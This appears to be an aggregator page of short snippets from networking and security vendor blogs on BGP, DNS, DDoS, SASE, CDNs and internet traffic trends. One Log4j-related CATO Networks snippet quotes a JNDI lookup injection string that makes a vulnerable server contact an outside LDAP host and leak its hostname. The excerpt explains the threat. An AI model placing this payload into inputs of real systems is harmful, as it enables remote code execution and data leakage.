Kentik

MAY 24, 2023

It has been interesting to observe how professional sports have moved the transmission onto the internet instead of requiring their viewers to sit at home and watch their TV. Internet broadcasts rely on data packets transmitted over the internet. My country’s team had a good run in that World Cup.)

Internet 98

Internet IP Address DNS Server 98

Kentik

MAY 8, 2023

While redundancy is a significant contributor to network resilience, other mechanisms, protocols, and methods can also contribute to overall network resilience. Additional network resilience mechanisms Successfully routing a packet over the internet from its source to its destination is not trivial.

Network 52

Network Networking IP Address TCP 52

Kentik

MAY 2, 2018

In simple terms, Border Gateway Protocol (BGP) is the protocol that routes traffic on the Internet. Each BGP speaking organization is assigned an Autonomous System Number (ASN) that identifies them on the Internet. Here we have the DNS clients sending their DNS queries to the hijacked blocks advertised by AS10297.

IP Address 49

IP Address DNS UDP port Advertising 49

Kentik

SEPTEMBER 20, 2021

Routers and switches : The internet is largely a mesh configuration of network devices that provide connectivity to everywhere we want to connect. After the DNS lookup and the ARP, the host reaches out to the IP address of the destination using a SYN in order to open a connection. Below is the beginning of a TCP handshake.

TCP 116

TCP Routers Bandwidth IP Address 116

CATO Networks

AUGUST 17, 2021

By choosing the best available path, SD-WAN provides better performance and reliability than broadband Internet. Keep in mind however, that unless SD-WAN is deployed as part of SASE, it cant support global connectivity, network optimization, WAN and Internet security, cloud acceleration, and remote users.

Network 52

Network Networking NaaS SASE 52

High Scalability

AUGUST 13, 2018

While the internet and the web are inherently decentralized, mainstream applications built on top do not have to be. We're still waiting on Pied Piper to deliver the decentralized internet. Typically, applications today—Facebook, Salesforce, Google, Spotify, etc.—are —are all centralized. That wasn't always the case.

TCP 46

TCP Internet DNS Protocol 46

Kentik

MARCH 15, 2023

Protocol-based. These attacks overwhelm network infrastructure resources, targeting layer 3 and layer 4 communication protocols. Common protocol-based attacks are Ping of Death, Smurf DDoS, and SYN floods. Find misconfigurations and bad code that expose your network’s Border Gateway Protocol routes to vulnerability.

Network 94

Network Networking Protocol IP Address 94

Kentik

NOVEMBER 4, 2018

Simply put: Rust is a big part of how Kentik ingests Gigabits per second representing over a Petabit per second of Internet traffic, and stores 100 TB of network flow data each day. In addition to basic data like source and destination IP address, port, protocol, etc.,

IP Address 67

IP Address Protocol TCP DNS 67

Kentik

JULY 8, 2019

Border Gateway Protocol (more commonly known as BGP ) is the routing protocol that makes the internet work. Time and time again, this resulted in a “BGP prefix hijack,” where, in many cases, part of the internet was unreachable. One way to think about it is that RPKI is to BGP what DNSSEC is to DNS.

Routers 58

Routers Protocol Internet Advertising 58

CATO Networks

MAY 7, 2024

Telltale threat indicators are often available but spread across the threat information and network activity of inbound (and outbound) internet traffic, WAN traffic, cloud traffic, and remote user traffic. Our data indicates that only 1% of DNS traffic utilizes Secure DNS. Enterprises are too trusting within their networks.

SASE 52

SASE DNS Real Estate SMB 52

CATO Networks

OCTOBER 25, 2022

Different network protocols have different functions and present varying security risks. This is why firewalls and other network security solutions are commonly configured with rules that apply to specific ports and protocols, such as restricting external access to certain services or looking for protocol-specific threats.

Firewall 52

Firewall Application Protocol Port 52

Kentik

APRIL 19, 2023

In this post, we will explore the benefits of embedded caching for internet service providers (ISPs) and discuss various strategies for optimizing the deployment of embedded caches in their networks. Movie Open Connect is unique among the CDNs since they do not rely on the DNS system to direct the end user to the suitable cache.

IP Address 52

IP Address DNS Server Network 52

Confluent

JULY 1, 2019

KAFKA_LISTENER_SECURITY_PROTOCOL_MAP defines key/value pairs for the security protocol to use per listener name. compute.internal is not resolvable from the internet, it fails. For these comms, we need to use the internal IP of the EC2 machine (or hostname, if DNS is configured). A listener is a combination of: Host/IP.

Port 101

Port IaaS DNS Network 101

CATO Networks

JUNE 14, 2023

There exist several protocols, from different network layers that can be used for OS fingerprinting. Figure 1 displays these protocols, based on the Open Systems Interconnection (OSI) model. Over this protocol, a unique physical identifier, called the MAC address, is allocated to the network interface card (NIC) of each network device.

IoT 52

IoT TCP Protocol Server 52

CATO Networks

OCTOBER 17, 2017

Its no secret that there are significant concerns with Internet of Things (IoT) security. The following month, the Mirai botnet arranged 100,000 IoT devices to launch an attack on DYN , the DNS provider. The following month, the Mirai botnet arranged 100,000 IoT devices to launch an attack on DYN , the DNS provider.

IoT 52

IoT Government Internet Telecommunications 52

Kentik

APRIL 5, 2023

Content distribution networks are a type of network that emerged in the 90s, early in the internet’s history, when content on the internet grew “richer” – moving from text to images and video. Internet video consumption started in the late 1990s, and OTT streaming services have accelerated the growth in online video consumption.

Network 52

Network Networking DNS IP Address 52

Kentik

JULY 6, 2017

HTTP and DNS in a 5G World (Network World) HTTP and DNS may be “household name protocols,” according to Network World contributor and wireless wiz Alan Carlton, but NFV and MEC could change that. households have no access to wired Internet service with download speeds of at least 25Mbps, and an additional 46.1

5G 40

5G DNS Network Networking 40

NW Kings

DECEMBER 10, 2024

Registered Ports (1024-49151) : These ports are registered with the Internet Assigned Numbers Authority (IANA) for specific applications but are not as universally recognized as well-known ports. TCP ports operate at the transport layer of the Internet Protocol Suite. What is Transmission Control Protocol (TCP)?

UDP port 40

UDP port Port TCP IP Address 40

CATO Networks

JUNE 4, 2024

When the Cato Sockets arrive at your locations, you will be ready to connect them to the Internet and the Cato Cloud. Catos firewall-as-a-service offers both an Internet and WAN firewall for external and internal traffic and operates in the Cato PoPs, removing most of the requirements for on-premise firewalls.

SASE 52

SASE Firewall Encryption Network 52

Kentik

FEBRUARY 13, 2017

This project took a feed of DNS data and performed a streaming analysis of flow data. Using source AS or DNS matching it was possible to detect the percent of traffic in a given network that was from CDNs as well as the cumulative (overlapping) percentage. It actually worked, and it was pretty entertaining. Sensor Data to KDE.

Routers 40

Routers DNS Protocol Engineering 40

Kentik

MARCH 13, 2019

Distributed denial-of-service (DDoS) attacks have been a continuous threat since the advent of the commercial Internet. The victim can update DNS to point at a different IP address in an attempt to get their application back up. IP Protocol. Introducing Kentik’s New BGP Flowspec Support. Destination Prefix. Source Prefix.

IP Address 49

IP Address Port Routers DNS 49

Kentik

JANUARY 19, 2018

And a Google Cast protocol bug caused temporary Wi-Fi outages. Google Cast protocol bug causing temporary Wi-Fi outages on many routers (The Register) “Wi-Fi router vendors have started issuing patches to defend their products against Google Chromecast devices,” reported The Register earlier this week.

Network 40

Network Networking Routers Artificial Intelligence 40

CATO Networks

DECEMBER 13, 2021

To make things worse, working PoCs (Proof of Concept) are already available on the internet, making even inexperienced attackers a serious threat. Sinkholes are internet-facing servers that collect traffic sent to them when a vulnerabilityPoCis found to be successful. x= ${jndi:ldap://1.${hostName}.<REDACTED> hostName}.<REDACTED>

Server 52

Server DNS Internet Network 52

Kentik

NOVEMBER 23, 2015

Just to be sure we’re on the same page, a DoS attack is an attempt to make computing or network resources unavailable for normal usage, such as interrupting a host’s access to the Internet or suspending its services to the Internet. So next we’ll look at the protocol and destination port # of the traffic.

IP Address 40

IP Address Port Protocol Internet 40

Kentik

OCTOBER 25, 2016

Last week’s massive attack on DNS provider Dyn — with its attendant disruption to many web companies and their users — was yet another reminder of the severity of the DDoS threat. Though spectacular exploits against Internet infrastructure providers like Dyn are just a fraction of overall attacks, complacency is not a viable option.

IP Address 40

IP Address Network Networking Protocol 40

Kentik

MARCH 6, 2017

One key point, as revealed in Akamai’s Q3 2016 State of the Internet Security Report, is that the vast majority of DDoS attacks — over 98% — are focused on disrupting access to network or server infrastructure rather than on targeting application limitations or vulnerabilities.

IoT 40

IoT DNS IP Address Server 40

CATO Networks

APRIL 19, 2017

Easy and Rapid Configuration For years, WAN engineering has meant learning CLIs and scripts, mastering protocols like BGP, OSPF, PBR, and more. Security meant protecting the companys central Internet access point and deploying endpoint security on clients. It was an arcane art and CCIEs were the master craftsman of the trade.

WAN 40

WAN MPLS Wide Area Network Firewall 40

CloudFaire

DECEMBER 9, 2024

The 2024 Cloudflare Radar Year in Review is our fifth annual review of Internet trends and patterns observed throughout the year at both a global and country/region level across a variety of metrics. Key Findings Traffic Global Internet traffic grew 17.2% Google maintained its position as the most popular Internet service overall.

Internet 72

Internet Email IP Address TCP 72

Kentik

JUNE 5, 2023

In the summer of 2022, I joined a team of BGP experts organized by the Broadband Internet Technical Advisory Group (BITAG) to draft a comprehensive report covering the security of the internet’s routing infrastructure. Below is an edited version of my take on the internet’s most notable BGP incidents.

IP Address 145

IP Address DNS Internet Routers 145

CloudFaire

JANUARY 21, 2025

This extensive infrastructure and customer base uniquely positions us to provide key insights and trends that benefit the wider Internet community. There's also a free API for those interested in investigating these and other Internet trends. The BitTorrent protocol is a communication protocol used for peer-to-peer file sharing.

IP Address 121

IP Address Network Networking Server 121

CloudFaire

DECEMBER 9, 2024

Since the late 1990s, millions have relied on the Internet for searching, communicating, shopping, and working, though 2.6 billion people (about 31% of the global population ) still lack Internet access. This post explores how people interacted online in 2024, based on Cloudflares observations and a review of the years DNS trends.

Internet 61

Internet Media Financial Banking 61